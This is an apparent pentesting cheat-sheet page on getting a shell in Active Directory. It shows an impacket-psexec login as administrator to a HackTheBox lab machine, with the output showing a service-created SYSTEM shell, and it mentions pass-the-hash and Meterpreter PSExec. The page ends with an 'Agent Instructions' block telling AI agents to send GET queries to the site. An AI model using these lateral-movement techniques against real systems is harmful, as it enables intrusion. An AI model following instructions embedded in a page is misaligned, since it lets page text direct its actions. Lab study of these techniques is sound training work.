# AD Shell

### Getting Shell

Now we have writable shares and credentials so, we can use psexec to get the shell as well.

{% embed url="<https://www.kali.org/tools/impacket-scripts/>" %}

```
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file QDdDNPEh.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service REEo on 10.10.10.100.....
[*] Starting service REEo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> 
```

<figure><img src="/files/h6xSlrjd8R31PU85LtW4" alt=""><figcaption></figcaption></figure>

#### Pass the hash using Psexec

<figure><img src="/files/1wRAPs5F6NxjTfylSQU2" alt=""><figcaption></figcaption></figure>

### Meterpreter PSExec

We can also use Meterpreter PSexec to connect with the target. Can also pass the hash

<figure><img src="/files/vF7m61MW3Xrcu2l7li8b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WzBmZYDJBjes28W4h1RM" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/active-directory/ad-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.